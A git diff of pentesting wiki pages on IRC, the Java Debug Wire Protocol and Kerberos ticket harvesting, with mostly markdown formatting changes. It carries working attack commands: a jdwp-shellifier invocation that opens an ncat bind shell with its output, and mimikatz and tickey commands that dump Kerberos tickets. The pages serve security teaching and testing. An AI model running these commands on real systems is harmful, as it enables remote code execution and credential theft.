a/pentesting/pentesting-irc.md b/pentesting/pentesting-irc.md index 3f2ad797..fe203baf 100644 --- a/pentesting/pentesting-irc.md +++ b/pentesting/pentesting-irc.md @@ -2,17 +2,17 @@ ## Basic Information -IRC was **originally a plain text protocol** \(although later extended\), which on request was assigned port **194/TCP by IANA**. However, the de facto standard has always been to **run IRC on 6667/TCP** and nearby port numbers \(for example TCP ports 6660–6669, 7000\) to **avoid** having to run the IRCd software with **root privileges**. +IRC was **originally a plain text protocol** (although later extended), which on request was assigned port **194/TCP by IANA**. However, the de facto standard has always been to **run IRC on 6667/TCP** and nearby port numbers (for example TCP ports 6660–6669, 7000) to **avoid **having to run the IRCd software with **root privileges**. For connecting to a server it is required merely a **nickname**. Once connection is established, the first thing the server does is a reverse-dns to your ip: -![](https://lh5.googleusercontent.com/C9AbjS9Jn4GvZJ-syptvebGU2jtI4p1UmLsmkBj3--utdFjft1B3Qfij3GDiUqxyp9wq_mbupVdUtfW-_rSo1W_EPFZzCQ7iHSn7-DK3l4-BfylIHluQBNrDWxO0lxCuAMz8EkQ9oi9jwDlH6A) +![](https://lh5.googleusercontent.com/C9AbjS9Jn4GvZJ-syptvebGU2jtI4p1UmLsmkBj3--utdFjft1B3Qfij3GDiUqxyp9wq_mbupVdUtfW-\_rSo1W_EPFZzCQ7iHSn7-DK3l4-BfylIHluQBNrDWxO0lxCuAMz8EkQ9oi9jwDlH6A) -It seems that overall **there are two kinds of users**: **operators** and ordinary **users**. For logging in as an **operator** it is required a **username** and a **password** \(and in many occasions a particular hostname, ip and even a particular hostmask\). Within operators there are different privilege levels wherein the administrator has the highest privilege. +It seems that overall **there are two kinds of users**: **operators **and ordinary **users**. For logging in as an **operator **it is required a **username **and a **password **(and in many occasions a particular hostname, ip and even a particular hostmask). Within operators there are different privilege levels wherein the administrator has the highest privilege. **Default ports:** 194, 6667, 6660-7000 -```text +``` PORT STATE SERVICE 6667/tcp open irc ``` @@ -72,4 +72,3 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 ### Shodan * `looking up your hostname` - diff --git a/pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/pentesting/pentesting-jdwp-java-debug-wire-protocol.md index b84329a1..55f52e70 100644 --- a/pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -10,24 +10,24 @@ You can use the python exploit located in [https://github.com/IOActive/jdwp-shel ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ``` -I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable. +I found that the use of` --break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable. -Normally this debugger is run on port 8000 and if you establish a TCP connection with the port and send "**JDWP-Handshake**", the server should respond you with the same string. +Normally this debugger is run on port 8000 and if you establish a TCP connection with the port and send "**JDWP-Handshake**", the server should respond you with the same string.\ Also, you can check this string in the network to find possible JDWP services. -Listing **processes**, if you find the string "**jdwk**" inside a **java process**, probably it has active the **Java Debug Wired Protocol** and you may be able to move laterally or even **escalate privileges** \(if executed as root\). +Listing **processes**, if you find the string "**jdwk**" inside a **java process**, probably it has active the **Java Debug Wired Protocol **and you may be able to move laterally or even **escalate privileges** (if executed as root). ## More details -**Copied from** [**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)\*\*\*\* +**Copied from **[**https://ioactive.com/hacking-java-debug-wire-protocol-or-how/**](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**** ### **Java Debug Wire Protocol** -**Java Platform Debug Architecture \(JPDA\)**JDWP is one component of the global Java debugging system, called the Java Platform Debug Architecture \(JPDA\)\[2\]. The following is a diagram of the overall architecture: +**Java Platform Debug Architecture (JPDA)**JDWP is one component of the global Java debugging system, called the Java Platform Debug Architecture (JPDA)\[2]. The following is a diagram of the overall architecture: [![](https://ioactive.com/wp-content/uploads/2014/04/jdpa.png)](https://ioactive.com/wp-content/uploads/2014/04/jdpa-1.png) - The Debuggee consists of a multi-threaded JVM running our target application. In order to be remotely debuggable, the JVM instance must be explicitly started with the option -Xdebug passed on the command line, as well as the option -Xrunjdwp \(or -agentlib\). For example, starting a Tomcat server with remote debugging enabled would look like this: + The Debuggee consists of a multi-threaded JVM running our target application. In order to be remotely debuggable, the JVM instance must be explicitly started with the option -Xdebug passed on the command line, as well as the option -Xrunjdwp (or -agentlib). For example, starting a Tomcat server with remote debugging enabled would look like this: [![](https://ioactive.com/wp-content/uploads/2014/04/tomat.png)](https://ioactive.com/wp-content/uploads/2014/04/tomat-1.png) @@ -38,47 +38,47 @@ Listing **processes**, if you find the string "**jdwk**" inside a **java process * It does not use authentication. * It does not use encryption. - All of these observations make total sense since we are talking about a debugging protocol. However, when such a service is exposed to a hostile network, or is Internet facing, things could go wrong. - -**Handshake**JDWP dictates\[9\] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger \(client\) sends the 14-character ASCII string “JDWP-Handshake”. The Debuggee \(server\) responds to this message by sending the exact same string. The following scapy\[3\] trace shows the initial two-way handshake: + All of these observations make total sense since we are talking about a debugging protocol. However, when such a service is exposed to a hostile network, or is Internet facing, things could go wrong.\ +\ +**Handshake**JDWP dictates\[9] that communication must be initiated by a simple handshake. Upon successful TCP connection, the Debugger (client) sends the 14-character ASCII string “JDWP-Handshake”. The Debuggee (server) responds to this message by sending the exact same string. The following scapy\[3] trace shows the initial two-way handshake: - root:~/tools/scapy-hg \# ip addr show dev eth0 \| grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:~/tools/scapy-hg \# ./run\_scapy + root:\~/tools/scapy-hg # ip addr show dev eth0 | grep “inet “ inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0root:\~/tools/scapy-hg # ./run_scapy - Welcome to Scapy \(2.2.0-dev\) -**>>>** sniff\(filter=”tcp port 8000 and host 192.168.2.9″, count=8\) -<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0> -**>>>** tcp.hexraw\(\) -0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S -0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA -0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A -0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw -**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake** -0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A -0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A -0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw -**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake** -0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A + Welcome to Scapy (2.2.0-dev)\ +**>>>** sniff(filter=”tcp port 8000 and host 192.168.2.9″, count=8)\ +\\ +**>>>** tcp.hexraw()\ +0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S\ +0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA\ +0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A\ +0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw\ +**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\ +0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ +0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A\ +0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw\ +**0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake**\ +0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A -An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ\[4\] with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service \(this is covered later on in this article with the help of the \(in\)famous Shodan\). - -**Communication**JDWP defines messages\[10\] involved in communications between the Debugger and the Debuggee. The messages follow a simple structure, defined as follows: [![](https://ioactive.com/wp-content/uploads/2014/04/createstring.png)](https://ioactive.com/wp-content/uploads/2014/04/createstring-1.png) +An experienced security auditor may have already realised that such a simple handshake offers a way to easily uncover live JDWP services on the Internet. Just send one simple probe and check for the specific response. More interestingly, a behavior was observed on the IBM Java Development Kit when scanning with ShodanHQ\[4] with the server “talking” first with the very same banner mentioned. As a consequence, there is a totally passive way to discover an active JDWP service (this is covered later on in this article with the help of the (in)famous Shodan).\ +\ +**Communication**JDWP defines messages\[10] involved in communications between the Debugger and the Debuggee. The messages follow a simple structure, defined as follows: [![](https://ioactive.com/wp-content/uploads/2014/04/createstring.png)](https://ioactive.com/wp-content/uploads/2014/04/createstring-1.png) - The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table. - + The Length and Id fields are rather self explanatory. The Flag field is only used to distinguish request packets from replies, a value of 0x80 indicating a reply packet. The CommandSet field defines the category of the Command as shown in the following table. \ +\ -| **CommandSet** | **Command** | -| :--- | :--- | -| 0x40 | Action to be taken by the JVM \(e.g. setting a BreakPoint\) | -| 0x40–0x7F | Provide event information to the debugger \(e.g. the JVM has hit a BreakPoint and is waiting for further actions\) | -| 0x80 | Third-party extensions | +| **CommandSet** | ** Command** | +| -------------- | ------------------------------------------------------------------------------------------------------------------------- | +| 0x40 | Action to be taken by the JVM (e.g. setting a BreakPoint) | +| 0x40–0x7F | Provide event information to the debugger (e.g. the JVM has hit a BreakPoint and is waiting for further actions) | +| 0x80 | Third-party extensions | Keeping in mind that we want to execute arbitrary code, the following commands are the most interesting for our purposes. -* VirtualMachine/IDSizes defines the size of the data structures handled by the JVM. This is one of the reasons why the nmap script jdwp-exec.nse\[11\] does not work, since the script uses hardcoded sizes. +* VirtualMachine/IDSizes defines the size of the data structures handled by the JVM. This is one of the reasons why the nmap script jdwp-exec.nse\[11] does not work, since the script uses hardcoded sizes. * ClassType/InvokeMethod allows you to invoke a static function. * ObjectReference/InvokeMethod allows you to invoke a function from an instantiated object in the JVM. -* StackFrame/\(Get\|Set\)Values provides pushing/popping capabilities from threads stack. +* StackFrame/(Get|Set)Values provides pushing/popping capabilities from threads stack. * Event/Composite forces the JVM to react to specific behaviors declared by this command. This command is a major key for debugging purposes as it allows, among many other things, setting breakpoints, single-stepping through the threads during runtime, and being notified when accessing/modifying values in the exact same manner as GDB or WinDBG. Not only does JDWP allow you to access and invoke objects already residing in memory, it also allows you to create or overwrite data. @@ -88,23 +88,23 @@ An experienced security auditor may have already realised that such a simple han **“All your JDWP are belong to us”** -As we have seen, JDWP provides built-in commands to load arbitrary classes into the JVM memory and invoke already existing and/or newly loaded bytecode. The following section will cover the steps for creating exploitation code in Python, which behaves as a partial implementation of a JDI front end in order to be as reliable as possible. The main reason for this standalone exploit script is that, as a pentester, I like “head-shot” exploits. That is, when I know for sure an environment/application/protocol is vulnerable, I want to have my tool ready to exploit it right away \(i.e. no PoC, which is basically the only thing that existed so far\). So now that we have covered the theory, let’s get into the practical implementation. When faced with an open JDWP service, arbitrary command execution is exactly five steps away \(or with this exploit, only one command line away\). Here is how it would go down: 1. Fetch Java Runtime referenceThe JVM manipulates objects through their references. For this reason, our exploit must first obtain the reference to the java.lang.Runtime class. From this class, we need the reference to the getRuntime\(\) method. This is performed by fetching all classes \(AllClasses packet\) and all methods in the class we are looking for \(ReferenceType/Methods packet\). 2. Setup breakpoint and wait for notification \(asynchronous calls\)This is the key to our exploit. To invoke arbitrary code, we need to be in a running thread context. To do so, a hack is to setup a breakpoint on a method which is known to be called at runtime. As seen earlier, a breakpoint in JDI is an asynchronous event whose type is set to BREAKPOINT\(0x02\). When hit, the JVM sends an EventData packet to our debugger, containing our breakpoint ID, and more importantly, the reference to the thread which hit it. - +As we have seen, JDWP provides built-in commands to load arbitrary classes into the JVM memory and invoke already existing and/or newly loaded bytecode. The following section will cover the steps for creating exploitation code in Python, which behaves as a partial implementation of a JDI front end in order to be as reliable as possible. The main reason for this standalone exploit script is that, as a pentester, I like “head-shot” exploits. That is, when I know for sure an environment/application/protocol is vulnerable, I want to have my tool ready to exploit it right away (i.e. no PoC, which is basically the only thing that existed so far). So now that we have covered the theory, let’s get into the practical implementation. When faced with an open JDWP service, arbitrary command execution is exactly five steps away (or with this exploit, only one command line away). Here is how it would go down: 1. Fetch Java Runtime referenceThe JVM manipulates objects through their references. For this reason, our exploit must first obtain the reference to the java.lang.Runtime class. From this class, we need the reference to the getRuntime() method. This is performed by fetching all classes (AllClasses packet) and all methods in the class we are looking for (ReferenceType/Methods packet). 2. Setup breakpoint and wait for notification (asynchronous calls)This is the key to our exploit. To invoke arbitrary code, we need to be in a running thread context. To do so, a hack is to setup a breakpoint on a method which is known to be called at runtime. As seen earlier, a breakpoint in JDI is an asynchronous event whose type is set to BREAKPOINT(0x02). When hit, the JVM sends an EventData packet to our debugger, containing our breakpoint ID, and more importantly, the reference to the thread which hit it.\ +\ [![](https://ioactive.com/wp-content/uploads/2014/04/event_break.png)](https://ioactive.com/wp-content/uploads/2014/04/event_break-1.png) - It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept\(\), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime. 3. Allocating a Java String object in Runtime to carry out the payloadWe will execute code in the JVM runtime, so all of our manipulated data \(such as string\) must exist in the JVM runtime \(i.e. possess an runtime reference\). This is done quite easily by sending a CreateString command. + It is therefore a good idea to set it on a frequently called method, such as java.net.ServerSocket.accept(), which is very likely to be called every time the server receives a new network connection. However, one must bear in mind that it could be any method existing at runtime. 3. Allocating a Java String object in Runtime to carry out the payloadWe will execute code in the JVM runtime, so all of our manipulated data (such as string) must exist in the JVM runtime (i.e. possess an runtime reference). This is done quite easily by sending a CreateString command. [![](https://ioactive.com/wp-content/uploads/2014/04/Untitled.png)](https://ioactive.com/wp-content/uploads/2014/04/Untitled-1.png) - 4. Get Runtime object from breakpoint contextAt this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime\(\) static method\[8\] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references. 5. Lookup and invoke exec\(\) method in Runtime instanceThe final step is simply looking for the exec\(\) method in the Runtime static object obtained for the previous step and invoking it \(by sending a ObjectReference/InvokeMethod packet\) with the String object we created in step three. [![](https://ioactive.com/wp-content/uploads/2014/04/exec.png)](https://ioactive.com/wp-content/uploads/2014/04/exec-1.png) + 4\. Get Runtime object from breakpoint contextAt this point we have almost all of the elements we need for a successful, reliable exploitation. What we are missing is a Runtime object reference. Obtaining it is easy, and we can simply execute in the JVM runtime the java.lang.Runtime.getRuntime() static method\[8] by sending a ClassType/InvokeMethod packet and providing the Runtime class and thread references. 5. Lookup and invoke exec() method in Runtime instanceThe final step is simply looking for the exec() method in the Runtime static object obtained for the previous step and invoking it (by sending a ObjectReference/InvokeMethod packet) with the String object we created in step three. [![](https://ioactive.com/wp-content/uploads/2014/04/exec.png)](https://ioactive.com/wp-content/uploads/2014/04/exec-1.png) Et voilà !! Swift and easy. As a demonstration, let’s start a Tomcat running with JPDA “debug mode” enabled: - root@pwnbox:~/apache-tomcat-6.0.39\# ./bin/catalina.sh jpda start + root@pwnbox:\~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start We execute our script without a command to execute, to simply get general system information: -```text +``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 [+] Targeting ‘192.168.2.9:8000’ [+] Reading settings for ‘Java HotSpot(TM) 64-Bit Server VM – 1.6.0_65’ @@ -121,7 +121,7 @@ hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9 Same command line, but against a Windows system and breaking on a totally different method: -```text +``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lang.String.indexOf’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘Java HotSpot(TM) Client VM – 1.7.0_51’ @@ -139,7 +139,7 @@ hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –break-on ‘java.lan We execute our exploit to spawn a bind shell with the payload “ncat -e /bin/bash -l -p 1337”, against a Linux system: -```text +``` hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 –cmd ‘ncat -l -p 1337 -e /bin/bash’ [+] Targeting ‘192.168.2.8:8000’ [+] Reading settings for ‘OpenJDK Client VM – 1.6.0_27’ @@ -157,9 +157,9 @@ tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 192 tcp6 0 0 :::1337 :::* LISTEN 19242/ncat ``` -The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible \(it’s always best not to break the application you’re working on, right?\). It acts in two modes: +The final exploit uses those techniques, adds a few checks, and sends suspend/resume signals to cause as little disruption as possible (it’s always best not to break the application you’re working on, right?). It acts in two modes: -* “Default” mode is totally non intrusive and simply executes Java code to get local system information \(perfect for a PoC to a client\). +* “Default” mode is totally non intrusive and simply executes Java code to get local system information (perfect for a PoC to a client). * Passing the “cmd” option executes a system command on the remote host and is therefore more intrusive. The command is done with the privileges the JVM is running with. This exploit script was successfully tested against: @@ -172,38 +172,37 @@ The final exploit uses those techniques, adds a few checks, and sends suspend/re ### **What about real-life exploitation?** -As a matter of fact, JDWP is used quite a lot in the Java application world. Pentesters might, however, not see it that often when performing remote assessments as firewalls would \(and should\) mostly block the port it is running on. But this does not mean that JDWP cannot be found in the wild: +As a matter of fact, JDWP is used quite a lot in the Java application world. Pentesters might, however, not see it that often when performing remote assessments as firewalls would (and should) mostly block the port it is running on. But this does not mean that JDWP cannot be found in the wild: -* At the time of writing this article, a quick search on ShodanHQ\[4\] immediately reveals about 40 servers sending the JDWP handshake: +* At the time of writing this article, a quick search on ShodanHQ\[4] immediately reveals about 40 servers sending the JDWP handshake: ![](https://ioactive.com/wp-content/uploads/2014/04/shodan.png) - This is actually an interesting finding because, as we’ve seen before, it is supposed to be the client-side \(debugger\) that initiates dialogue. + This is actually an interesting finding because, as we’ve seen before, it is supposed to be the client-side (debugger) that initiates dialogue. -* GitHub\[7\] also reveals a significant number of potentially vulnerable open-source applications: +* GitHub\[7] also reveals a significant number of potentially vulnerable open-source applications: ![](https://ioactive.com/wp-content/uploads/2014/04/github.png) -* masscan-ing the Internet looking for specific ports \(tcp/8000, tcp/8080, tcp/8787, tcp/5005\) revealed many hosts \(which cannot be reported here\) responding to the initial handshake. -* “Enterprise” applications were found in the wild running a JDWP service \*by default\* \(finding the actual port number is left as an exercise to the curious reader\). +* masscan-ing the Internet looking for specific ports (tcp/8000, tcp/8080, tcp/8787, tcp/5005) revealed many hosts (which cannot be reported here) responding to the initial handshake. +* “Enterprise” applications were found in the wild running a JDWP service \*by default\* (finding the actual port number is left as an exercise to the curious reader). - These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service \(in what may be a more stable way\). I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. To y’all mighty pirates, happy JDWP pwning !! + These are just a few ways to discover open JDWP services on the Internet. This is a great reminder that applications should regularly undergo thorough security reviews, production environments should have any debugging functionality turned off, and firewalls should be configured to restrict access to services required for normal operation only. Allowing anybody to connect to a JDWP service is exactly the same as allowing a connection to a gdbserver service (in what may be a more stable way). I hope you enjoyed reading this article as much as I enjoyed playing with JDWP. To y’all mighty pirates, happy JDWP pwning !! -**Thanks** - +**Thanks**\ +\ ****I would like to thank Ilja Van Sprundel and Sebastien Macke for their ideas and tests. ### **References:** 1. [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier) 2. [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html) -3. http://www.secdev.org/projects/scapy\(no longer active\) +3. http://www.secdev.org/projects/scapy(no longer active) 4. [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE) -5. http://www.hsc-news.com/archives/2013/000109.html \(no longer active\) +5. http://www.hsc-news.com/archives/2013/000109.html (no longer active) 6. [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt) -7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults +7. https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults 8. [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html) -9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com/) +9. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com) 10. [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) 11. [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html) - diff --git a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md b/pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md index 4ff9206e..f1ff641b 100644 --- a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md +++ b/pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md @@ -2,27 +2,26 @@ On Linux, **tickets are stored in credential caches or ccaches**. There are 3 main types, which indicate where **tickets can be found:** -* **Files**, by default under **/tmp** directory, in the form of **krb5cc\_%{uid}.** +* **Files**, by default under** /tmp** directory, in the form of** krb5cc\_%{uid}.** * **Kernel Keyrings**, an special space in the Linux kernel provided for storing keys. * **Process memory,** used when only one process needs to use the tickets. -To verify what type of storage is used in a specific machine, the variable _**default\_ccache\_name**_ ****must be checked in the **/etc/krb5.conf** file, which by default has read permission to any user. In case of this parameter being missing, its default value is _FILE:/tmp/krb5cc\_%{uid}_. +To verify what type of storage is used in a specific machine, the variable _**default_ccache_name**_** **must be checked in the **/etc/krb5.conf **file, which by default has read permission to any user. In case of this parameter being missing, its default value is _FILE:/tmp/krb5cc\_%{uid}_. -In order to extract **tickets from the other 2 sources** \(keyrings and processes\), a great paper, [**Kerberos Credential Thievery \(GNU/Linux\)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), released in 2017, explains ways of recovering the tickets from them. +In order to extract** tickets from the other 2 sources** (keyrings and processes), a great paper, [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf), released in 2017, explains ways of recovering the tickets from them. #### Keyring - From the paper -> The **Linux kernel** has a feature called **keyrings**. This is an **area of memory residing** within the kernel that is used to **manage and retain keys**. +> The** Linux kernel** has a feature called **keyrings**. This is an **area of memory residing** within the kernel that is used to **manage and retain keys**. > > The **keyctl system call** was introduced in kernel version 2.6.10 5 . This provides **user space applications an API** which can be used to interact with kernel keyrings. -> The **name of the keyring** in use can be parsed from the **Kerberos configuration file /etc/krb5.conf** which has read permission enable for anybody \(octal 644\) by default. An attacker can then leverage this information to **search for ticket** 11 containing keyrings and extract the tickets. A proof of concept script that implements this functionality can be seen in Section A.2 **\(hercules.sh\)**. In a keyring the ccache is stored as components. As seen in Figure 2, a file ccache is made up of 3 distinct components: header, default principal, and a sequence of credentials. A **keyring holds the default principal and credentials**. This script will dump these components to separate files. Then using an **attacker synthesised header** these pieces are combined in the correct order to **rebuild a file ccache**. This rebuilt file can then be exfiltrated to an attacker machine and then used to impersonate a Kerberos user. A simple program for generating a valid ccache header can be seen in Section A.3. +> The** name of the keyring** in use can be parsed from the** Kerberos configuration file /etc/krb5.conf** which has read permission enable for anybody (octal 644) by default. An attacker can then leverage this information to **search for ticket **11 containing keyrings and extract the tickets. A proof of concept script that implements this functionality can be seen in Section A.2 **(hercules.sh)**. In a keyring the ccache is stored as components. As seen in Figure 2, a file ccache is made up of 3 distinct components: header, default principal, and a sequence of credentials. A** keyring holds the default principal and credentials**. This script will dump these components to separate files. Then using an** attacker synthesised header **these pieces are combined in the correct order to** rebuild a file ccache**. This rebuilt file can then be exfiltrated to an attacker machine and then used to impersonate a Kerberos user. A simple program for generating a valid ccache header can be seen in Section A.3. -Based on the **heracles.sh script** \(from the paper\) a C tool you can use \(created by the author of the complete post\) is [**tickey**](https://github.com/TarlogicSecurity/tickey)**, and it extracts tickets from keyrings:** +Based on the **heracles.sh script **(from the paper) a C tool you can use (created by the author of the complete post) is [**tickey**](https://github.com/TarlogicSecurity/tickey)**, and it extracts tickets from keyrings:** -```text +``` /tmp/tickey -i ``` -**This information was taken from:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)\*\*\*\* - +**This information was taken from: **[**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**** diff --git a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md b/pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md index 06ef8259..0734de62 100644 --- a/pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md +++ b/pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md @@ -1,6 +1,6 @@ # Harvesting tickets from Windows -In Windows, tickets are **handled and stored by the lsass** \(Local Security Authority Subsystem Service\) process, which is responsible for security. Hence, to retrieve tickets from a Windows system, it is necessary to **communicate with lsass and ask for them**. As a **non-administrative user only owned tickets can be fetched**, however, as machine **administrator**, **all** of them can be harvested. For this purpose, the tools **Mimikatz or Rubeus** can be used as shown below: +In Windows, tickets are **handled and stored by the lsass** (Local Security Authority Subsystem Service) process, which is responsible for security. Hence, to retrieve tickets from a Windows system, it is necessary to **communicate with lsass and ask for them**. As a **non-administrative user only owned tickets can be fetched**, however, as machine **administrator**, **all **of them can be harvested. For this purpose, the tools **Mimikatz or Rubeus** can be used as shown below: ``` mimikatz # sekurlsa::tickets /export @@ -8,6 +8,5 @@ mimikatz # sekurlsa::tickets /export [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("")) ``` -**This information was taken from:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**​**[ -](https://app.gitbook.com/@cpol/s/hacktricks/~/drafts/-LhAFG7vZpkSqhe9Wmev/primary/todo/pentesting-kerberos-88/harvesting-tickets-from-windows) - +**This information was taken from:** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**​**[\ +](https://app.gitbook.com/@cpol/s/hacktricks/\~/drafts/-LhAFG7vZpkSqhe9Wmev/primary/todo/pentesting-kerberos-88/harvesting-tickets-from-windows) diff --git a/pentesting/pentesting-kubernetes/README.md b/pentesting/pentesting-kubernetes/README.md index 82b473c2..b4697ffc 100644 --- a/pentesting/pentesting-kubernetes/README.md +++ b/pentesting/pentesting-kubernetes/README.md @@ -1,6 +1,6 @@ # Pentesting Kubernetes -**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **\(read his original post** [**here**](https://sickrov.github.io/)**\)** +**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/)** (read his original post **[**here**](https://sickrov.github.io)**)** ## Architecture & Basics @@ -18,22 +18,23 @@ ![](https://sickrov.github.io/media/Screenshot-68.jpg) * **Node**: operating system with pod or pods. - * **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application \(so usually, a pod run just 1 container\). The pod is the way kubernetes abstracts the container technology running. - * **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** \(with a different internal IP\) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service. When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints` + * **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running. + * **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The** service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement **(with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods 